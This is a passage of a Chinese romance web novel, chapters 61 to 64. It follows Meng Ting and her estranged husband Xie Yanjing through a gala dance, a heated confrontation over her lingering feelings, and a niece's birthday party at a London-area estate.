乍一眼看上去简直要比主办方邀请的那几个当红的明星还要漂亮。 她的美是毫无攻击性的美,大众的接受度很高,给人留下的印象也更深刻。 但谢钰没能陪她多久,没一会儿,她就去到附近的天台接电话。 离开了谢钰的孟汀,成了不少人的目标对象,从天台到甜品台的短短十几米,就有四个邀请她跳舞的男人。 孟汀不是擅长社交的人,她本意也是来见见世面,没什么心思和陌生人跳舞。 吧台这边还安静一些,她扫视了一下,最终看上一款浅紫色的鸡尾酒,没想到手刚一伸出去,视线中忽然凭空出现一只纤细的手,抢先一步握住了这杯酒。 孟汀怔了一瞬,顺着视线往上,看到这只手的主人。 谢砚京还是那身标志性的暗色西装,黑衬衫,但眼尖的孟汀还是发现了不同。比如说,领带由藏青色换成了偏时尚感的浅咖色,平日里低调的黑盘腕表换成了钻表,驳头处搭配了一只闪闪发光的白金钻石链,袖扣也换成更加古典偏重古董珠宝样式的红钻。 虽然整体看上去还是和往常一样风度翩翩,端方禁欲,清雅矜贵。 但孟汀还是莫名的觉得,他今天好像一只……花孔雀。 还是正在开屏的那种。《 》 60-70 第61章 孟汀心不在焉地将思绪扯回现实,便听他道:“这杯里面有花生。” “啊?” 孟汀对花生过敏,曾经不小心误食过一次,手臂上连续起了一个礼拜的疹子。 她以为紫色应该是加了葡萄或者蓝莓汁,怎么也没想到里面会有花生。 可是他又怎么会知道? 孟汀望着这只闪闪发光的花孔雀,内心充满疑问。 第一眼时的奇怪感随着时间的拉长而淡化,看顺眼儿之后,她觉得他这身其实搭的还不错。 至少比场内大部分的男性都要好很多。 “想喝的话可以尝尝旁边那两个。”他指了指右手边那两款偏橙色的鸡尾酒,“里面是橙汁和柠檬雪莉,不会有什么问题。” 孟汀盯着仔细端详了几秒,端起一杯尝了下。 味道其实还不错。 就在她端起来准备离开时,他却忽然上前一步,沉着眼眸问:“既然不想再被别人烦,当我的舞伴怎么样?” 说完,他的目光转向不远处,那边,刚刚试图邀请孟汀的一个男生,目光不停地往她这边瞥,颇有几分锲而不舍的意思。 孟汀捏着酒杯的指尖有些泛红,这么想想确实是个不错的办法,她垂着眼眸思考了一下,然后被余光里那位蠢蠢欲动的男人彻底击败,小幅度地点了下头。 谢砚京似笑非笑地勾了下唇,下一秒,孟汀只觉得一个粗粝的指腹忽然划过她唇角的位置,接着,那股绵密的泡沫彻底消失在他的指尖。 孟汀下意识地盯着他,只见他被碎发半遮的漆黑眼眸中,冷意似乎没有往日里那般深沉。 恍惚回神之后赶紧向后退了一小步,懊恼自己怎么没意识到这酒的气泡量的那么足,若是没被谢砚京这么一楷,还不知道要丢多大的人。 酒会后半程,对孟汀来说,比之前要轻松不少。谢砚京交际广,又极会说场面,不愿接触的人,三言两语就能将其打发走,愿意交谈的人,也会看在他的面子上,对他极尽恭谦。 因为谢砚京的陪伴,再没有人同孟汀搭讪了。她也终于清净下来,能好好听听大家交谈的内容。 U牌为了提高知名度,这些年做了不少公益项目,短短三年之间,连续不断地向欠发达地区和处于战火中的国家提供的捐款,额度总数一度超过同档位的所有品牌,名列榜首。 这些慈善良母,一开始还被群嘲为富人高高在上的施舍和怜悯,但是他们硬是靠着捐款额在这一赛道闯出了一片天,后来大家也反应过来,无论是不是作秀,被救济到的人生活质量改善是真的,更可怕的是,有些资本家连作秀的不愿作秀。 也是从他和别人的交谈中,孟汀才知道,原来谢砚京在工作的短短几年之间,竟然接手过这么多的慈善项目,并且经他负责的人,业内认可度比其他高了不少。 中途孟汀去了趟洗手间。 进门的时候有个金发碧眼,身材火辣,穿着黑色短款礼服裙的美女正在镜前补妆,看到孟汀进来,她颇为友善地朝她点了点头。 看打扮应该是之前和她走过同一场秀的模特,孟汀以为她在秀场对自己有印象,才对她如此,因此也回了个笑容。 而就在她洗了手准备离开时,对方却将她拦住。 “女士,很抱歉打扰了。” 孟汀看她一眼,对上她那满是笑容的双眼。 “请问您身边的那位男士是在追求您吗?” 孟汀微怔一下,没明白她话中的意思,有些茫然地摇了下头,谢砚京怎么可能在追求他,不知道她是怎么看出来的。 对方听到后,先是微怔了一下,接着眼神很明显的雀跃了一下。 “原来是这样吗……” “这样真是太好了,那我就先去给他要个联系方式,过会还能邀请他跳一支舞。” 孟汀这才反应过来对方的真实意图,谢砚京五官立体,这种长相,就算是在国外也很吃香,更不用提他那独立于旁人的矜贵气质和宛若老钱般尊贵的打扮。 吸引女生的注意力对他来说是再寻常不过的事情。 对方洗了个手,又拿起了口红补了个妆,面上尽是对接下来可能发生的事情的期待。整理完手上的东西,她拎起包准备离开,而原本定在原地的孟汀,心跳却忽然没来由的有些加快。 心跳的声音像是鼓点般充斥着她的耳膜,接着,她说出一句,很长时间内,连自己也无法解释的一句话:“可是他已经结婚了。” 高跟鞋的声音短暂停顿了一下,女生回头,诧异地看向孟汀。 “什么?” 孟汀却再次打开了水龙头,和着水声,她面不改色地继续道:“不巧的是,妻子还是我。” 对方一开始像是没听清似的,等到回过神来,唇瓣微张着,又是尴尬又是震惊。 “啊……真的很抱歉,我没想到会是这样……” “因为没看到你戴戒指,所以——”她尴尬地扯出一抹笑容,又道了几句歉,拎起包就赶紧走了。 孟汀关上水龙头默了会儿。 她也不知道自己怎么了,心中忽然有种说不出的烦躁,明明她都是要离婚的人了,为什么会说出这样的话? 万一到时候离婚之后,谢砚京因为她的这句话,错失了和这个女孩的姻缘,她岂不是成了罪魁祸首了。 一旁的谢砚京不知道孟汀不仅给他离了个婚,甚至连老婆都找好了,正静静地站在窗边等候。 这会儿谢钰也讲完电话回来了。 看到窗边的谢砚京,谢钰端了杯香槟过来。 两人虽然都是谢氏一族,但关系算不上亲近。谢钰在京市出生,对这个堂弟的印象,仅限于家族中一些重大事情的堂会,后来能联系起来,还是因为孟汀。 当年孟汀的祖父孟扶生走的突然,附中的竞争又格外激烈,按照孟汀的履历,差一点在第一轮筛选时就被筛掉,还是谢砚京找到谢钰帮忙,才给了孟汀一个去面试的机会。 谢钰后来也感慨,若不是因为她帮到的是孟汀,她现在估计也是谢砚京眼中那个完全不熟悉,也不会有什么来往的陌生堂姐。 而且只要是关于孟汀的事情,他就有种空前绝后的耐心。谢钰不清楚孟汀的喜好,所以先将差不多十多款项链发给了谢砚京让他做参谋,他挑出来的那一款,无论和孟汀本人还是她穿着的那条裙子简直不能再配…… 李叔无意中提过谢砚京辅修过艺术,这样的审美和能力用在给老婆搭配上也算值了。 谢钰就收购案和谢砚京又聊了两句,孟汀就从卫生间出来了。 只不过小姑娘脸上的表情不太晴朗,似乎很为什么事情而发愁,看到谢钰朝她热情挥手,才勉强勾起了一个笑。 回来之后,又直接从吧台上端了杯香槟,一饮而尽。x 谢砚京眉心轻蹙一下,但也只是打量了一下,并没有开口问。 谢钰也看出了点儿问题,她主动开口:“汀汀,你怎么了?” 孟汀不好意思说自己坏了谢砚京的婚姻大事,轻垂着眼睫,胡乱摇了下头,“没事,就是有点儿累。” 谢钰点点头表示理解,毕竟孟汀比起他们,还走了一场强度不低的秀,她观察了下附近,正准备带着她找个位置坐下呢,角落里的乐队忽然开始演奏。 这是舞会开始的标志,随着乐曲声响起,不少散落在周围的人也逐渐往中间聚集,舞会就要开始了。 谢钰有固定的舞伴,是和她旗下公司有合作的一个上游产品的老总,两人进门后就各自社交,现在该跳舞了,那位男士便结束了和其他人的交通,从旁边走来,风度翩翩地邀请谢钰跳舞, 谢钰接受邀请之后,两人便离开了。 孟汀想到她作为谢砚京舞伴的身份,忍不住望向舞池。 “你要是觉得累,我现在送你回去。” 孟汀转头看他一眼,只见他睨着眼眸,神情是一如既往的疏离,但是话语中关切的意思倒是很明显。 孟汀犹豫了一下:“要不,还是跳一曲?” 她这个人责任感很强,总觉得担着一个舞伴的名头却又不和他跳舞是辜负了他似的,更何况,她刚刚还挤走了一个想要和他搭档的女生。 谢砚京轻垂着眼睫,几乎没有犹豫,便紧紧扣住了孟汀的手腕。 舞会以非常轻快地小调圆舞曲开场,轻盈的乐曲像是流水一样缓缓流淌在大厅内。 她还没反应过来,就已经被他带着入了场。 已经太久没有被这样的力量所包裹了。 当他的掌心轻轻揽住她腰身时,记忆便向潮水一般涌入,好像一切都像没变一样。 还是那股熟悉的冷香,熟悉的力度,熟悉的掌控,那那掌心的温度,和记忆中都没什么差别。 可是……他们两个明明分开了那么久。 三百多天,四个季节的交替轮回,草木繁盛又凋零,一切都应该改变,不是吗? 可为什么,轻触他掌心跟着他一起旋转跳跃时,一切都还和从前,一模一样。 第62章 只跳一曲其实只是她的随口一说。 但一曲结束之后,谢砚京便没有继续的意思了,从哪儿过来的,他便挽着孟汀从哪儿回去。 孟汀其实还想问他要不要继续的,毕竟他的兴致看上去很高, 但突然而来的一个电话,彻底中断了这场舞会。 接到电话的那一瞬间,她整个人还是有些惊慌失措的。 那边的声音非常嘈杂,重金属的声音掺杂着一些她听不太懂的俚语,还有隐约像是玻璃打碎的声音。 孟汀慌着神听了好半天,最后才弄清楚,原来是赵一茜和余琳两个人看完秀就去酒吧玩了,这会儿两人喝的不省人事,朋友才给孟汀打了电话。 孟汀给谢砚京解释了一下事情经过。 听完后,谢砚京轻抬下眉骨,清冷的眸光扫视过她,半晌之后,才开口:“就是上次前男友差点闯进你房间的那个室友?” 孟汀:“……” 差点儿忘了赵一茜在谢砚京面前还有黑历史。 孟汀尴尬地抿了抿唇,在想到底该怎么向谢砚京解释她们两个平日里其实还是很靠谱的,今天喝多了只是很小概率的事情。 可最终她也没开口,谢砚京扣着她的手腕带着她往外走了。 “我送你过去。” 尽管他的眉头依然保持着微皱的状态,但语气却有种镇定人心的力量。 两人很快离开了会场。 那家酒吧以金属朋克为主题,虽然看上去风格夸张,但其实还算安全,孟汀来之前在路上查过了,至少近十年没有出过安全事故。 饶是如此,谢砚京也没让孟汀进门。 他让李叔找了几个工作人员,又安排了一辆车,将喝的晕头转向的赵一茜和余琳塞了进去。 到家之后,孟汀才接触到她们。 她把两人送进各自的房间,余倩还好说,回来后只是意识不太清楚,身体状态还好,赵一茜反应就比较明显了,又是头晕又是想吐的。 孟汀给她接了杯热水,又让谢砚京上楼去她房间找点能解酒或者疏散的冲剂。 女孩的房间收拾的很整齐,走进去时能嗅到一股很清淡的花香,像是栀子花。 药都被她收纳在柜子里的小药箱里,这一年她基本没生病,所以药箱被搁置在柜子最后排,需要腾出一些东西才能取出。 谢砚京慢条斯理地往外拿着东西,直到目光被一个熟悉的盒子吸引。 原本清冷的目光短暂停滞了几秒。 接着,纤长指尖拂过纸盒上细小的尘埃,单薄的唇线微微上挑,勾出一抹清浅笑意。 不过他没多停留,拿了药便下楼。 这药是孟汀从国内带来的中药,冲开的瞬间,满屋子都飘散着植物特有的药香味,孟汀因为经常喝中药,所以对这种颗粒的接受度很高,但赵一茜就不一样了,明明都是要昏睡的程度,却对吃药这件事有种坚决的抗拒。 不知道是不是上次哄谢砚京哄出了经验,孟汀直接按照之前的方法来了一遍,还真的喂下去了小半碗。 没想到,一回头,谢砚京正倚着门框好整以暇地看着她。 窗外光影绰绰,他身高腿长,落在他身上的那部分疏离而清浅,将他的身形勾勒的凌厉而流畅。 孟汀端着碗,正准备往外走。 只见他微掀了下眼皮,淡声问:“你那天,也是这样喂的我?” 孟汀顿了下,怎么也没想到他会突然提起这个。 她微微扬了下头,对上他那双深邃的眼眸,微颤着眼睫:“……你知道?” “我以为你那会儿……” 她“睡着了”那三个字还没说出口,唇瓣就被一个力度狠狠地压住。 他的力量太强大,她整个人都被欺身抵在了门框上,温热的掌心,紧实地扣在她腰腹处,漆黑的眼眸里透着几分意味不明的危险和强悍。 独属于他的那股冷香,铺天盖地地压下来,几乎让她不能呼吸。 这个吻,蛮横又不讲理,强硬又独裁,湿热的舌尖撬开她的齿关,毫无理由地闯进,冷硬的指骨攥着她那纤细手腕,惩罚般地将她紧紧握住,简直要把骨头都捏碎。 孟汀眼角地泪水都要流下来,却在这样无错的时刻,听到一声低沉而散漫的声音从她顶上落下来,低不可闻:“你在撒谎。” “你在说什么……” “你哄我时,比这更温柔,更耐心。”黑暗中,他的喉结微微滚动,吐息很近。 孟汀刚刚被吻得云里雾里,停歇下来时只顾得喘气,又听他莫名其妙来了这么一句,完全不知道该怎么回应。 而在她瞪着微怔的双眼准备生气时,耳边忽然落下一句:“无论你躲多么远,躲多么久,还是没办法忘记爱我吧?” 男人眼眸一如既往的漆黑,可黑暗深处却像是被点燃了一般,压着不正常的光。 毫无道理,毫无根据的一句话,孟汀却还是觉得像是一道惊雷般在她脑海里落下。 人在一瞬间的反应其实是很真实的,后面她无论如何调整,那一刻还是在他面前说不了慌。 偏偏他又是最擅长读心的顶级政客。 “你胡说什么?” 他一瞬不瞬地盯着她,每靠近的一瞬间,都像是能将她吞没一样:“你房间里的雪人灯球,怎么说?” “从国内到英国,过海关过安检的时候想必不容易吧,放在行李中一不小心就会碎,你别告诉我你带着它就是为了晚上照明。” 孟汀因为这句话,下意识地打了个冷颤。 灵魂像是在那一瞬间被抽离,无论是听觉还是视觉,都有些模糊的迹象,那段遥远到几乎要模糊的记忆,就这样被他赫然牵扯出来。 那个雪人灯球,正是两人第一次过圣诞时,谢砚京送给她的礼物。 望公馆里那么多她的东西,她带走的只有这么一件,只是因为她承载着比所有礼物都要贵重的意义。 她人生中送出去的第一份礼物,便是一个雪花灯球。 给母亲。 那个因为母亲被排挤伤心而在门口焦虑徘徊的小女孩,拿出攒了半年的零花钱,买了一个精致漂亮的雪花球,希望这个惊喜能让母亲开怀。 可最终的结果却完全没有如她的意。 雪花灯球被打碎,泡沫和彩色碎片倾洒一地,严厉的呵斥声充斥在耳畔,像一柄锋利的剑将她在心中筑起的所有期待和希望给击碎。 因此后来收到谢砚京x送给她的雪花灯球,她的第一反应其实是愣住的。 那天望公馆的圣诞氛围很浓重,起床后望公馆里的每个人都会给她送上祝福,云姨做了极具圣诞风味的一餐,她的礼物甚至像是给小孩子准备的那样,放在圣诞树下的红袜子里。 被这样幸福的氛围包裹着,以至于她看到雪花灯球的第一眼,那段曾经回想起来无比痛苦的回忆也有了一丝模糊的痕迹,水晶灯球承载的似乎不只是记忆里摇摇欲坠的痛苦,更像是回归到最原本的美好具象。 孟汀不知道这算不算某种命定般的巧合,但在某种意义上,确实拉了她一把,将她从沉溺许久的感情中,很轻柔地拽了出来。 后来的每一年圣诞,她都会收到他送给她的雪花灯球。 她像是守护着一个既定的秘密一样守护着这些雪花灯球,也终于在准备离开前软了心。 孟汀想要解释,想要争辩,想要给出一个完全的理由,但是好像此刻说出来的任何一句话,都苍白无力到极致。 因此此刻的她只能攥紧掌心,眼底滚烫着躲避他的眼神:“那只是个意外……” “意外?意外的东西自然也不需要珍惜的吧,丢掉它不过时顺手的事,我没听说过谁会因为意外保存地这么久。”他一点点逼近,将属于他性格中的那份狠意和强硬全部爆出出来。 平日里他总是话很少,几乎都让她忘记了,他是个在讲台上卓越的辩手,强硬的毒舌发言家。 “承认这一点,又那么难吗?” “够了!”孟汀终于还是承受不住了。 像是被逼到悬崖边,只差一寸就要坠崖的人,又像是在只差一点儿,就要走进暴风眼的人。 她深吸一口气,艰难道:“就算我真的喜欢过你又如何?你满世界去问一问,谁还会记得自己十几岁喜欢的人?我是很认真的同你提分手,我已经二十五岁,不是十五岁,人心都是会变的,没有哪一段感情能走向永恒。” 话说到这个程度,已经很能展现她的态度。 她很少说这样决绝的话,今天显然是豁出去了。 他曾经在她走投无路时给过她一个,她曾经以为的,真正意义上的“家”,可是后来她才知道,原来那只是她自己的一厢情愿。没有以双方爱情为基础的家,从来都不能称作“家”。 可面前的男人,并没有因为她这一番慷慨激昂的话被撼动,嘴角反而扯出一抹不自然的笑。 他一步一步靠近,斜睨下来的视线,像是氤着一层漆黑的浓雾,带着独属于他的那份危险。 他呼吸比之前更重了一分,但是口吻却之前更平静,赶在孟汀有所反应之前,抬起掐住她的下巴,让那双澄清的双眸,毫无防备地撞了进来。 “孟汀,我还是低估你了。” “原来你从十五岁,就开始喜欢我了啊。” 第63章 孟汀微怔一下,根本没想到他会把重点放在这里。 纤弱白嫩的掌心像是能被掐出血来,她咬着唇瓣,喉头一阵翻涌,咽下去都是腥味。昏暗的灯光落在那张清丽的小脸上,一瞬间很难说清她到底是委屈羞赧窘迫还是沮丧。 是十五岁吗? 确实是很久很久很久以前的事情了。 时间久到她已经记不清了,久到她根本分不出一个既定的界限来定义这件事。 她不是没有尝试过回忆和界定,但时间就像是一艘永不停歇的航船,她的每一次尝试,无异于刻舟求剑。 但无论怎么说,那段记忆是好是坏,对十几岁的她都足够珍贵,她不知道他为什么要用这种语气来质问她。 眼眸很快浮上一层水雾,她却固执地坚持着,无论如何也不让眼泪流下来。 谢砚京无声地盯着她。 记忆中永远跟在他身后的小姑娘已经长这么大了。 心中的烦闷和戾气在那双黑色的深眸中一览无遗,却又介意她闻不了烟味坚持着没有点一根烟。 他其实最恨她这样,从小到大她好像都是如此,明明很痛总要忍着,明明很委屈却总是独自咽下,明明很想要,却从不开口。他觉得哪怕此刻她对他大喊大叫,起码是敞开心扉的某种方式。 十五岁。 他问遍世界上所有人,都会有有人忘了十五岁喜欢过的人。 谢砚京唇角勾起一抹冷笑,这么多年过去了,她的逻辑思维竟然还是那么差,他从前耗费那么多心力帮她补习过的数学,在她的生活似乎没有起到一点儿作用。到底还是他心慈手软了,当时如果再严苛一点儿,不只是学习,任何方面,都应该再严苛一点儿,一切一定不会是现在这样。 两人就这样沉默着僵持了一会儿,谁也没想到,最终打破沉默的,会是“咚”地一声巨响。 孟汀被吓了一跳,连忙回头,只见原本平稳躺在床上的赵一茜,竟然直接滚下了床。 听那声音,脑袋似乎还磕在柜子上了。 孟汀也顾不得他说的那些话了,擦了把眼泪就赶紧过去。 等她赶到的时候,赵一茜似乎才悠悠转醒,看了孟汀一眼。 刚刚那一磕让她彻底从昏睡中清醒过来,孟汀看着她有些泛白的脸,担忧道:“茜茜你没事吧?” 赵一茜摸了下后脑勺,确定没什么大问题后,双手支撑着爬起来,孟汀又扶了她一把,把她重新弄回到床上。 孟汀端了杯水给她喝。 赵一茜咕咚咕咚喝完之后,孟汀忙问:“还有哪里不舒服吗?我看你难受,自作主张给你喂了点药,要是还没有缓解,我打电话给你的GP。” 赵一茜摇了下头。 这边的医疗系统一直坚持“小病不用看,大病看不好”的原则,真有点什么事情,等她GP的消息,还不如等上帝的消息。 “余琳怎么样了?” 孟汀解释:“她比你好点,也没啥大反应,回到房间后就直接睡了。” 赵一茜翻了个死鱼眼,直愣愣地盯着天花板:“她最后那两杯全都灌我嘴里了,我不晕谁晕。” “不过说实话那些小甜酒味道还可以,就是没想到后劲会那么大。” “对了……”原本还像死鸡一样躺着的赵一茜忽然翻了个身,半侧着身子看着孟汀,犹豫了半晌才终于开口,“那个帅哥……已经走了吗?” 孟汀:“什么?” 沉默了半刻,她才应过来,她问的是谢砚京。 显然,在她赶忙着去照顾赵一茜的时候,他已经走了,原本他站着的位置空空荡荡的,连空气都冷寂。 赵一茜又往前凑了凑,闭着眼睛,神情痛苦地做了几秒钟心理建设,才对孟汀坦白道:“不好意思啊汀汀,我……其实比你想象中清醒早了几秒。” 赵一茜还在那儿痛彻心扉呢,孟汀早已经换上一副心知肚明的表情,“所以我不是很快就过去了吗?还要磕到脑袋……你这瓜吃的,付出的代价未免太大。” 赵一茜睁大眼睛:“原来你那时候就知道了?” 孟汀摇了摇头,“但我刚刚知道了。” 赵一茜:“……” 防不胜防。 赵一茜躺在床上沉思了一会儿,无论如何,刚刚的发生的事情对她来说信息量还是有些大,平日里她看小情侣吵架,基本都是无理取闹的小学鸡对骂,最后以男生痛哭流涕地保证自己以后会改,求着女生不要分手而结束。 但眼前这两位……完全超越她听过的任何一场情侣吵架,几乎是上升到恨海情天的程度。 人有多少个十年。她觉得按照孟汀的性格,或许这个年份已经是很保守了。 “这位……就是上次我在镜头里看到的那位大帅哥吧?”赵一茜斟酌着问。 屋内只开了一盏门灯,光线很暗,完全不够看清脸的程度,赵一茜只能结合着之前的视频和看到的身形,将对方归纳为大帅哥。 其实归纳为大帅哥已经是谦虚了,只堪堪一个侧影和高大的身形,赵一茜就知道他绝非常人,最起码比自己之前看到的男人都要优秀的多。 孟汀点了点头,又摇了摇头,沉默半晌之后,她自顾自地叹了口气,颇为为难地开口:“以前的一点儿烂账,让你见笑了。” “没有没有,”赵一茜非常真诚地摇了下头,“我不记得我说的吗?当时我就觉得你们两个有戏,没想到你们两个的纠葛会这么深。” “这么说来,上次帮你把我那倒霉前男友赶走的,也是他吧?” 孟汀又无可奈何地点了下头。人的磁场是很神奇的东西,可能从那个视频电话开始x,赵一茜就注定要参与到两人的感情之中了。 “这么看来……他其实,蛮靠谱的,不是吗?” 赵一茜理智地分析。 “除了说话的时候强势了一点,但是我觉得他的强势,也是建立在爱你的基础之上的。” 孟汀:“?” 孟汀用一种“你有没有搞错”的眼神注视着赵一茜,赵一茜不仅没有因为孟汀这个眼神而退缩,反而来了精神,直接坐起来,一字一句地给孟汀分析:“其实男人这种生物,不是看他说了什么,而是要看他做了什么。” “好多男生花言巧语一堆,最后付诸现实的承诺寥寥无几,尤其在当下这个社会,能说到做到的男生少之又少。” 赵一茜虽然不敢自诩情场老手,但是她也不是瞎子,男男女女,分分合合的事情还是看了不少的。 “这是一点,更何况,他的颜值和身材也在那儿摆着,看气质家里条件也很好吧?对你又那么深情,我到现在还能记得他当时看你的眼神,总结下来,这种男人又帅气又有责任感又有钱,这种睡到就是赚到好不好!” “咔咔咔咔——” 孟汀差点被刚刚喝下去的水呛到。 “哎——你没事吧!”赵一茜连忙拍了拍她的背。 孟汀咳了好半天才缓过来,朝赵一茜摆摆手示意自己没事。 “你这孩子,都多大了,这点儿话还承受不住。” “话糙理不糙,懂不懂?” 孟汀不敢接话了,生怕话题朝着自己不可控的方向走下去,毕竟她是真正睡过谢砚京的人,她不是擅长说谎的人,更何况,她刚刚和谢砚京吵完觉,这个时候和赵一茜聊床。事显然不是个明智的事情。 赵一茜又发表了一会儿自己的见解,才终于有些困了,孟汀替她关了灯,也拖着疲惫的步伐上了楼。 和谢砚京的这场见面算是不欢而散,孟汀的心情却很平静,这算是她出来一年一个意外的成就——在面对谢砚京这个事情上,不再像从前那样患得患失。 房间内的灯开着,孟汀还以为是谢砚京取了药忘记关,直到看到餐桌上的那一晚面,她才意识到,他离开的时间似乎比她预想中更加晚一些。 与此同时,手机上发来一条消息:【面做好了在餐桌上,冰箱内的东西也给你补齐了】 厨房里很下过厨的痕迹很轻,应该是他昨晚之后收拾好的。 孟汀下意识地打开冰箱一看,本来空荡荡的冰箱被塞得满满当当,水果,蔬菜,牛奶,鸡蛋……甚至冷冻层,都被塞了她最喜欢的雪花牛肉。 酒会上的点心虽然精致又细腻,但完全不耐饿。又在楼下折腾了那么久,早就让她饥肠辘辘了。 孟汀看着那碗面发了会儿呆。 想到他说的那些毫无道理的话,简直想把这碗面直接打包让李叔给送回去。 但是肚子却偏生在这时发出一声抗议的“咕”叫声。 眼眸闪过一丝动容。 她确实很久没吃过他煮的面了。 其实没有那碗面,忍着饿也能睡。 但既然有…… * 这一晚上睡得还算安稳,第二天是周末,孟汀没有别的安排,准备在家里好好补个觉。 谢钰的电话就是在这时打过来的。 “宝贝,往下看。” 孟汀:“啊?” 窗外响起一道响亮的鸣笛声,她打开窗户往外看了眼,只见一辆亮眼的黄色跑车正停在楼下,谢钰将半个脑袋探出来,热情地朝孟汀挥了挥手。 半个小时后,孟汀坐上了谢钰的副驾。 谢钰说今天是她女儿的生日,因为她刚刚转学过来,能邀请到的朋友不多,迟珩屿有个临时的紧急会议,早上安排好之后回国了,所以谢钰想让孟汀过去充个人数。 说起来这也算是她的小侄女,孟汀刚好也没事,便答应了。 谢钰听孟汀答应了,立马发动了汽车。 轰鸣声中,只听她兴奋道:“这下又能多两个人了。” 孟汀有些不解:“两个人?” 谢钰没解释,直接用蓝牙拨通了电话。 “老弟,你侄女生日你不过来吗?” 对方似乎对这通电话感到非常意外,但谢钰没给他机会,直接道,“汀汀已经同意过去了,现在已经在我车上了。” 短暂的沉默后,那边传来确定声。 “我一会儿过去。” 谢钰:“好嘞。” 孟汀:“……” 第64章 谢钰住在伦敦西郊。 开车过去要整整一个小时。 驶出内环的高楼大厦后,便是壮阔而盎然的英伦乡村风景。 草地渐绿,各色各样不知名的小花已冒出了骨朵,空气中的冷意已不再是寒冬时分的刺骨和凛冽,属于这一年的春天渐渐到来。 谢钰婚后第一年便生了个女儿,今年已经五岁了,叫谢贝琳。 两人的孩子来在意料之外,当初谢钰还为这件事发了好大的脾气,甚至差点闹离婚。但看在后来池珩屿还做个人的份上,也渐渐释怀了。 尽管如此,现在的谢钰对池珩屿依然没有一句好话。 没有一句。 这会儿她正在给孟汀聊自己孕期的经历。 “这个世界上真是所有便宜都让这群狗男人占了。” “辛辛苦苦生个漂亮女儿还要给他叫爸爸,他不付出点别的能行吗?” 孟汀也因此得知了谢钰坐月子时几乎晚觉午觉没落下一个,而迟珩屿晚觉午觉没睡过完整的一整个。 等谢钰坐完月子美美出门玩的第一天,池珩屿才终于有机会在家里睡了个昏天暗地。 谢钰:“三岁以后就好带多了,我和老迟一人管一半,我负责带着她吃饭逛街买衣服,老迟负责学习、兴趣班和考试,每个人都在自己的岗位上待的非常开心。” 一开始孟汀还以为只是普通的上下学,后来她才知道,这些学习,除了学校的课程之外,还包括法语,德语,俄语,数学,经济,历史,游泳,芭蕾,钢琴。 迟珩屿不仅要陪伴学习还要帮助监督谢贝琳完成相应的等级考试。 谢钰总结就是一句:“男人不能惯着。” 孟汀听得目瞪口呆但又觉得她说的好有道理。 “其实你知道最重要的一点是什么吗?” 车子已经快到目的地,谢钰显然还有很多话要说,尤其是最后时分,似乎还有个大招要给孟汀放。 孟汀正竖起耳朵听呢,没想到谢钰竟然峰回路转来了句,“等你有了宝宝,我再告诉你。” 孟汀:“……” 大门口,管家已经快步过来迎接了。 这是一幢庄园式的独栋别墅,一共有四层,整体是带了点复古风格的西式建筑,很气派,也很漂亮,门口有一片非常宽阔的私人草坪,绕过草坪之后,才是喷泉和主楼。楼前种满了各种各样的花,不过刚初春的天气,就已经开了不少了。 管家将从车上跳下来的孟汀接进去,两人刚一进门,一个小姑娘便兴奋地跑过来,一把抱住了孟汀。 紧随其后进来的谢钰将手袋递给管家,同孟汀解释:“这就是谢贝琳,从小到大一点儿也不认生,看着漂亮姐姐就往人家怀里冲。” 孟汀忍不住笑。 接着,谢钰把树懒一样的谢贝琳从孟汀怀里给扯了出来。 “你应该叫她……”她本来想说叫小婶婶,但又觉得这个称呼加在孟汀头上显得有些老,便道,“你还是叫她姐姐吧,感觉这样才自然。” 孟汀欣然同意。 谢贝琳长得和谢钰一样漂亮,她穿一身浅咖色的连衣裙,头发扎成两个小揪揪,皮肤雪白,就像个可爱的小团子,主要是嘴也很甜,谢钰一说完,就脆生生地喊了孟汀一句“姐姐”。 孟汀忍不住捏了捏她的小脸,感觉心都快融化了。 屋内已经来了一些客人了,基本都是谢钰的朋友,带着各家的孩子来给她捧场子。 虽然进门之前孟汀就已经想象到里面很漂亮了,但是看到的那一瞬,还是被惊讶到了。 客厅大厅原来的沙发钢琴等被撤走,换上了一个个漂亮的小圆桌,每个桌子上摆放着复古的瓷器,座位却并不空着,而是坐着打扮不同的玩偶或娃娃。 有的穿着欧式的复古公主裙,有的穿着时尚的运动装,还有则穿着传统的汉服。 有点像是爱丽丝梦游仙境里的场景。 谢钰对上孟汀的目光,解释道:“看不懂了吧?老迟非要这样。” “说是虽然贝琳暂时没有现实中的朋友,但是必须把她的玩偶朋友都邀请到位。” 孟汀看着谢贝琳,显然她非常喜欢这次的布置。 “对了,”谢钰忽然想起什么似的,“老迟说还有个娃娃在书房,汀x汀你陪我去拿一下吧。” 孟汀点了点头,跟着谢钰上了楼。 二楼的书房原来是迟珩屿工作的地方,今年圣诞的时候,迟珩屿为了给谢贝琳搭了个蘑菇小屋,把这间稍大一点儿的书房给腾了出来,自己搬去了更小一点的客房办公。所以这个地方暂时也属于谢贝琳。 谢钰不太清楚位置在哪儿,孟汀也帮着找了找,没找到娃娃,反而翻出来一本有些旧了的相册。 她本想重新塞回书架的,没想到不仅没塞进去,相册还因为松散,飘出来了一张照片。 孟汀放下手中的相册去捡照片,谢钰刚好走了过来,也好奇地凑过来,感慨道:“这张照片有点年岁了。” 照片上有一排小朋友,按照个子高低站了两排。 谢钰:“大概在我十二岁时左右拍的。” “当时家中有个小叔叔在隆京大酒店办婚礼,那是我们这一辈人难得齐全的一次,所以专门在酒店里合了影。” 谢钰指了指照片最后一排的地方,“你看,甚至还有谢砚京。” “我听大人说,他平日里要上各种各样的家教课,什么英语,法语,俄语,钢琴,艺术,礼仪,还有商业管理,时政历史等。所以很多时候,都不太出席我们这些小辈们的聚会。” “那天倒是难得。” 孟汀将视线落在最后一排,睁大眼睛。 这还是她第一次看到青少年时期的谢砚京。 谢家的孩子颜值都很高,但谢砚京无疑是最突出的那个。 照片中的他,身高清瘦挺拔,轮廓精致,五官已初具棱角,站在人群中,肩膀笔挺,气质卓然,像是茂盛生长的青竹。 正如谢钰所说,他因为常年忙碌着学习各种各样的课程,所以比起其他孩子,眉眼之间有种淡淡的沉郁,也因此这份沉郁,给他增加了一丝不属于这个年纪的成熟。 原来他一直过得这么累吗? 孟汀也不知为何脑海里会冒出这样的想法。 世人看到的都是他取得的成就,却永远不知道他在背后付出了多少努力。 谢钰看孟汀看的出神,还想给她找点照片,但遗憾的是,这套相册里再也没有谢砚京了。 但走出书房时,孟汀心中却忽然一动。 隆京大饭店…… 她总觉得这个名字有些耳熟,但是若是细想,又说不出什么所以然来。 孟汀下楼时,几个小朋友似乎已经有些厌倦了和娃娃开茶话会这个游戏,要去室外的草坪上踢球。 